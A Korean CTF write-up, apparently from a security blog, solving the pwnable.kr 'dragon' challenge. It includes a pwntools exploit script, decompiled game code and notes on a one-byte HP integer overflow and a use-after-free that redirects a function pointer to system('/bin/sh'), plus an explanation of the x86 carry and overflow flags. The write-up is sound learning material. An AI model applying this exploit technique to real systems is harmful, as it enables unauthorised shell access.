from pwn import *
# p = process("./dragon")
p = remote("pwnable.kr", 9004)
def ssc(): # Priest: HolyShield - HolyShield - Clarity
# Priest's HP -= 10 , Dragon's HP += 12
p.sendlineafter("Invincible.\n", "3")
p.sendlineafter("Invincible.\n", "3")
p.sendlineafter("Invincible.\n", "2")
# don't attack baby dragon
p.sendlineafter("[ 2 ] Knight\n", "1")
p.sendlineafter("Invincible.\n", "1")
p.sendlineafter("Invincible.\n", "1")
# attack mama dragon
p.sendlineafter("[ 2 ] Knight\n", "1")
for i in range(4):
ssc()
# Attack success!
p.sendlineafter("The World Will Remember You As:\n", p32(0x08048dbf))
p.interactive()
int PlayGame()
{
int result; // eax
while ( 1 )
{
while ( 1 )
{
puts("Choose Your Hero\n[ 1 ] Priest\n[ 2 ] Knight");
result = GetChoice();
if ( result != 1 && result != 2 )
break;
FightDragon(result);
}
if ( result != 3 )
break;
SecretLevel();
}
return result;
}
int GetChoice()
{
int v1[3]; // [esp+1Ch] [ebp-Ch] BYREF
__isoc99_scanf("%d", v1);
while ( getchar() != 10 )
;
return v1[0];
}
int __cdecl FightDragon(int a1)
{
char v1; // al
int result; // eax
int v3; // [esp+10h] [ebp-18h]
_DWORD *v4; // [esp+14h] [ebp-14h]
int v5; // [esp+18h] [ebp-10h]
int v6; // [esp+1Ch] [ebp-Ch]
v4 = (_DWORD *)malloc(16);
v5 = malloc(16);
v1 = Count++; // 전역변수 Count
if ( (v1 & 1) != 0 ) // v5에 드래곤 정보 셋팅, 홀수번째 try=mama, 짝수번째 try=baby
{
*(_DWORD *)(v5 + 4) = 1;
*(_BYTE *)(v5 + 8) = 80;
*(_BYTE *)(v5 + 9) = 4;
*(_DWORD *)(v5 + 12) = 10;
*(_DWORD *)v5 = PrintMonsterInfo;
puts("Mama Dragon Has Appeared!");
}
else
{
*(_DWORD *)(v5 + 4) = 0;
*(_BYTE *)(v5 + 8) = 50;
*(_BYTE *)(v5 + 9) = 5;
*(_DWORD *)(v5 + 12) = 30;
*(_DWORD *)v5 = PrintMonsterInfo;
puts("Baby Dragon Has Appeared!");
}
result = a1;
if ( a1 == 1 ) // v4에 사용자 정보 셋팅
{
*v4 = 1;
v4[1] = 42;
v4[2] = 50;
v4[3] = PrintPlayerInfo;
v3 = PriestAttack(v4, v5);
}
else
{
if ( a1 != 2 )
return result;
*v4 = 2;
v4[1] = 50;
v4[2] = 0;
v4[3] = PrintPlayerInfo;
v3 = KnightAttack(v4, v5);
}
if ( v3 )
{
puts("Well Done Hero! You Killed The Dragon!");
puts("The World Will Remember You As:");
v6 = malloc(16);
__isoc99_scanf("%16s", v6);
puts("And The Dragon You Have Defeated Was Called:");
(*(void (__cdecl **)(int))v5)(v5);
}
else
{
puts("\nYou Have Been Defeated!");
}
return free(v4);
}
unsigned int SecretLevel()
{
char v1[10]; // [esp+12h] [ebp-16h] BYREF
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
printf("Welcome to Secret Level!\nInput Password : ");
__isoc99_scanf("%10s", v1);
if ( !strcmp(v1, "Nice_Try_But_The_Dragons_Won't_Let_You!") )
{
system("/bin/sh");
return __readgsdword(0x14u) ^ v2;
}
else
{
puts("Wrong!\n");
return exit(-1);
}
}
- Partial RELRO Canary found NX enabled No PIE
- SecretLevel의 strcmp를 통과할 방법은 없음
- PriestAttack/KnightAttack 정석적인 방법으로 성공할 수 없음
<취약점>
- PriestAttack(v4, v5)과 KnightAttack(v4, v5) 함수 마지막에 free(a2)를 통해 인자로 전달받은 v5를 free한다
- attack에 성공하면 0x10 크기의 chunk를 v6에 새로 할당하고, 이 때 free된 chunk가 다시 할당된다
- v6 chunk의 첫 4바이트에 호출하고자 하는 코드 주소를 넣는다
- (*(void (__cdecl **)(int))v5)(v5); 여기서 UAF 취약점 발생
<exploit>
- SecretLevel에서 system("/bin/sh") 호출하는 부분 주소 구하기 = 0x08048dbf <SecretLevel+71>
- v5에서 용에 대한 정보 넣을 때, HP에 해당하는 부분 1byte만 할당되어있다 => (-128~127)
- HP=80인 Mama dragon에서 12턴만 버티면 HP>127이 되면서 Integer overflow에 의해 -128로 변한다.
- Priest 방어*2 - MP 회복 - Priest 방어*2 - MP 회복 - Priest 방어*2 - MP 회복 - Priest방어*2 - MP 회복
=> 12턴이 지나면서 dragon HP<0이 되고, MP 회복 시마다 공격(-10)을 받으므로 priest HP=2가 된다
1. dragon HP 계산을 할 때, signed 자료형인지 unsigned 자료형인지 어떻게 파악?
1) 디컴파일 된 코드로 파악 (IDA 최고)
친절하게 (char *)로 타입을 지정해주었고, char 타입의 데이터가 표현할 수 있는 값의 범위는 -128~127이다.
2) 어셈블리 코드로 파악
eax에 dragon HP가 담겨있고 test al, al에 의해 마지막 한 바이트만 check한다
test 명령어는 bitwise logical AND operation 처럼 동작하고 ZF, SF, PF를 바꾼다
ZF(Zero Flag) : AND 연산 결과가 0이면 1로 세팅됨
SF(Sign Flag) : AND 연산 결과의 MSB(Most Significant Bit)로 세팅됨
CF(Carry Flag), OF(Overflow Flag) : 영향 없음
jg 명령어에 의해 1) ZF=0이고 2) SF=OF면 다시 while문을 돈다.
1) al이 0이 아니고
2) OF=0일 것이므로 SF가 0이 아니면
JMP한다
=> 즉 al=0이 되거나, al의 MSB가 1이 되면(음수가 되면) jmp 안 하고 free후 return 1한다
분기 명령어가 signed operands를 위한 것인지 unsigned operands를 위한 것인지를 파악해 구분 가능!!
3. Carry Flag vs. Overflow Flag
- When Carry Flag is on?
1) 두 수의 합으로 발생한 carry가 부호 비트(MSB)보다 앞에 더해질 때
1111 + 0001 = 0000
2) 두 수의 차로 발생한 borrow로 인해 부호 비트(MSB) 앞 비트로부터의 borrow가 발생해야 할 때
0000 - 0001 = 1111
다른 경우, CF는 off된다
0111 + 0001 = 1000 (CF=0)
10000 - 0001 = 0111 (CF=0)
unsigned 연산에서 CF로 에러를 확인 가능하다. signed 연산에서 CF는 관심대상이 아니다
- When Overflow Flag is on?
1) 두 수의 합으로 부호 비트가 on 되었을 때
0100 + 0100 = 1000
2) 두 수의 합으로 부호 비트가 off 되었을 때
1000 + 1000 = 0000
다른 경우 OF는 off된다
0110 + 1001 = 1111
1000 + 0001 = 1001
1100 + 1100 = 1000
세 숫자들의 부호 비트(MSB)를 보면 overflow flag가 on 될지 off 될지 알 수 있다
signed 연산에서 OF로 에러를 확인 가능하다. unsigned 연산에서 OF는 관심 대상이 아니다
'security > 포너블 - pwnable.kr' 카테고리의 다른 글
pwnable.kr - [Rookiss] otp (0) | 2023.03.05 |
---|---|
pwnable.kr - [Rookiss] alloca (0) | 2023.03.03 |
pwnable.kr - [Rookiss] simple login (0) | 2023.02.27 |
pwnable.kr - [Rookiss] loveletter (0) | 2023.02.26 |
pwnable.kr - [Rookiss] echo2 (0) | 2023.02.25 |